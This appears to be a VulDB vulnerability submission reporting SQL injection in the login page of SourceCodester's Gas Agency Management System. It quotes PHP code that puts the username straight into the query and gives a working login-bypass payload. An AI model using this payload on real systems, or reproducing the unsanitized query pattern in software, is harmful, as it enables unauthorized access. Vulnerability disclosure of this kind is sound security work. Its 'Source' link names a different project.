Submit #43467: Gas Agency Management System have Vulnerability

In the login interface of this CMS, the parameters are not escaped, and no protection measures are set, which leads to SQL injection. The attacker can log in to the background through the universal password.
The file location is gasmark/login.php, part of the source code is as follows
```
if($_POST) {

$username = $_POST['username'];
$password = $_POST['password'];

//echo $password;exit;
if(empty($username) || empty($password)) {
if($username == "") {
$errors[] = "Username is required";
}

if($password == "") {
$errors[] = "Password is required";
}
} else {
$sql = "SELECT * FROM users WHERE username = '$username'";
$result = $connect->query($sql);
```
When we use the following payload, we can bypass the login verification and go directly to the postscript
```
username: 1' or 1=1#
password: 1
```
https://img-blog.csdnimg.cn/e1f59036a87b46529b2403445caf85c2.png
https://img-blog.csdnimg.cn/3232cb47c9ac418e983f6b7145bcf4d7.png
source link
https://www.sourcecodester.com/php/15586/gas-agency-management-system-project-php-free-download-source-code.html

• Source: ⚠️ https://www.sourcecodester.com/visual-basic-net/15538/college-attendance-system-cas.html
• User: quan9i (UID 30726)
• Submission: 08/11/2022 16:25 (4 years ago)
• Moderation: 08/12/2022 12:51 (20 hours later)
• Status: Accepted
• VulDB entry: 206248 [SourceCodester Gas Agency Management System gasmark/login.php Username sql injection]
• Points: 20